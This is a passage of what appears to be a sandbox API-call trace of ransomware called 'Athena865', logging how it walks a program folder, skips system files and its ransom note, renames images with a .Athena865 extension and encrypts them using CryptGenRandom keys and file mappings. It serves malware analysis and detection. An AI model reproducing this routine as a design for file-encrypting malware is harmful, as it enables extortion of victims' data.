(lpString1="png", lpString2="adf") returned 1 [0119.416] lstrlenW (lpString="adn") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.416] lstrlenW (lpString="adp") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.416] lstrlenW (lpString="alf") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.416] lstrlenW (lpString="ask") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.416] lstrlenW (lpString="btr") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.416] lstrlenW (lpString="cat") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.416] lstrlenW (lpString="cdb") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.416] lstrlenW (lpString="ckp") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.416] lstrlenW (lpString="cma") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.417] lstrlenW (lpString="cpd") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.417] lstrlenW (lpString="dacpac") returned 6 [0119.417] lstrcmpiW (lpString1="re.png", lpString2="dacpac") returned 1 [0119.417] lstrlenW (lpString="dad") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.417] lstrlenW (lpString="dadiagrams") returned 10 [0119.417] lstrcmpiW (lpString1="icture.png", lpString2="dadiagrams") returned 1 [0119.417] lstrlenW (lpString="daschema") returned 8 [0119.417] lstrcmpiW (lpString1="ture.png", lpString2="daschema") returned 1 [0119.417] lstrlenW (lpString="db-journal") returned 10 [0119.417] lstrcmpiW (lpString1="icture.png", lpString2="db-journal") returned 1 [0119.417] lstrlenW (lpString="db-shm") returned 6 [0119.417] lstrcmpiW (lpString1="re.png", lpString2="db-shm") returned 1 [0119.417] lstrlenW (lpString="db-wal") returned 6 [0119.417] lstrcmpiW (lpString1="re.png", lpString2="db-wal") returned 1 [0119.417] lstrlenW (lpString="dbc") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.417] lstrlenW (lpString="dbs") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.417] lstrlenW (lpString="dbt") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.417] lstrlenW (lpString="dbv") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.417] lstrlenW (lpString="dbx") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.417] lstrlenW (lpString="dcb") returned 3 [0119.417] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.418] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.Athena865") returned 94 [0119.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.419] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.419] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3286) returned 1 [0119.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.419] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.420] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.420] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.420] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe0, lpName=0x0) returned 0x154 [0119.422] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe0) returned 0x100000 [0119.422] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.423] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.423] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.424] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.424] CloseHandle (hObject=0x154) returned 1 [0119.424] CloseHandle (hObject=0x17c) returned 1 [0119.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.424] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0119.424] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.424] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.424] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".") returned 1 [0119.424] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="..") returned 1 [0119.424] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="windows") returned -1 [0119.424] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="bootmgr") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="temp") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="pagefile.sys") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="boot") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="ids.txt") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="ntuser.dat") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="perflogs") returned -1 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="MSBuild") returned -1 [0119.425] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0119.425] lstrcpyW (in: lpString1=0x241e8a0, lpString2="16to9Squareframe_VideoInset.png" | out: lpString1="16to9Squareframe_VideoInset.png") returned="16to9Squareframe_VideoInset.png" [0119.425] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0119.425] lstrlenW (lpString="Athena865") returned 9 [0119.425] lstrcmpiW (lpString1="Inset.png", lpString2="Athena865") returned 1 [0119.425] lstrlenW (lpString=".dll") returned 4 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".dll") returned 1 [0119.425] lstrlenW (lpString=".lnk") returned 4 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".lnk") returned 1 [0119.425] lstrlenW (lpString=".ini") returned 4 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".ini") returned 1 [0119.425] lstrlenW (lpString=".sys") returned 4 [0119.425] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".sys") returned 1 [0119.425] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0119.425] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.Athena865") returned 85 [0119.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.427] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.427] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3316) returned 1 [0119.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.427] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.428] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.428] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.428] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x154 [0119.429] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1000) returned 0x100000 [0119.430] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.431] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.431] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.433] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".") returned 1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="..") returned 1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="windows") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="bootmgr") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="temp") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="pagefile.sys") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="boot") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="ids.txt") returned -1 [0119.433] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="ntuser.dat") returned -1 [0119.434] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="perflogs") returned -1 [0119.434] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="MSBuild") returned -1 [0119.434] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0119.434] lstrcpyW (in: lpString1=0x241e8a0, lpString2="4to3Squareframe_Buttongraphic.png" | out: lpString1="4to3Squareframe_Buttongraphic.png") returned="4to3Squareframe_Buttongraphic.png" [0119.434] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0119.434] lstrlenW (lpString="Athena865") returned 9 [0119.434] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.434] lstrlenW (lpString=".dll") returned 4 [0119.434] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".dll") returned 1 [0119.434] lstrlenW (lpString=".lnk") returned 4 [0119.434] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".lnk") returned 1 [0119.434] lstrlenW (lpString=".ini") returned 4 [0119.434] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".ini") returned 1 [0119.434] lstrlenW (lpString=".sys") returned 4 [0119.434] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".sys") returned 1 [0119.434] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0119.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.Athena865") returned 87 [0119.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.435] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11861) returned 1 [0119.435] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.436] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.436] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.436] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3160, lpName=0x0) returned 0x154 [0119.438] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3160) returned 0x100000 [0119.439] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.439] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.439] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.440] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".") returned 1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="..") returned 1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="windows") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="bootmgr") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="temp") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="pagefile.sys") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="boot") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="ids.txt") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="perflogs") returned -1 [0119.440] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="MSBuild") returned -1 [0119.440] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0119.440] lstrcpyW (in: lpString1=0x241e8a0, lpString2="4to3Squareframe_SelectionSubpicture.png" | out: lpString1="4to3Squareframe_SelectionSubpicture.png") returned="4to3Squareframe_SelectionSubpicture.png" [0119.440] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0119.440] lstrlenW (lpString="Athena865") returned 9 [0119.440] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.440] lstrlenW (lpString=".dll") returned 4 [0119.441] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.441] lstrlenW (lpString=".lnk") returned 4 [0119.441] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.441] lstrlenW (lpString=".ini") returned 4 [0119.441] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.441] lstrlenW (lpString=".sys") returned 4 [0119.441] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.441] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0119.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.Athena865") returned 93 [0119.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.442] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.442] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3304) returned 1 [0119.442] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.443] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.443] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.443] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xff0, lpName=0x0) returned 0x154 [0119.444] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xff0) returned 0x100000 [0119.445] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.446] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.446] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.446] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0119.446] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.446] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.446] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".") returned 1 [0119.446] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="..") returned 1 [0119.446] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="windows") returned -1 [0119.446] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="bootmgr") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="temp") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="pagefile.sys") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="boot") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="ids.txt") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="ntuser.dat") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="perflogs") returned -1 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="MSBuild") returned -1 [0119.447] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0119.447] lstrcpyW (in: lpString1=0x241e8a0, lpString2="4to3Squareframe_VideoInset.png" | out: lpString1="4to3Squareframe_VideoInset.png") returned="4to3Squareframe_VideoInset.png" [0119.447] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0119.447] lstrlenW (lpString="Athena865") returned 9 [0119.447] lstrcmpiW (lpString1="Inset.png", lpString2="Athena865") returned 1 [0119.447] lstrlenW (lpString=".dll") returned 4 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".dll") returned 1 [0119.447] lstrlenW (lpString=".lnk") returned 4 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".lnk") returned 1 [0119.447] lstrlenW (lpString=".ini") returned 4 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".ini") returned 1 [0119.447] lstrlenW (lpString=".sys") returned 4 [0119.447] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".sys") returned 1 [0119.447] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0119.447] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.Athena865") returned 84 [0119.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.448] CreateFileW (lpFileName="C:\\Program 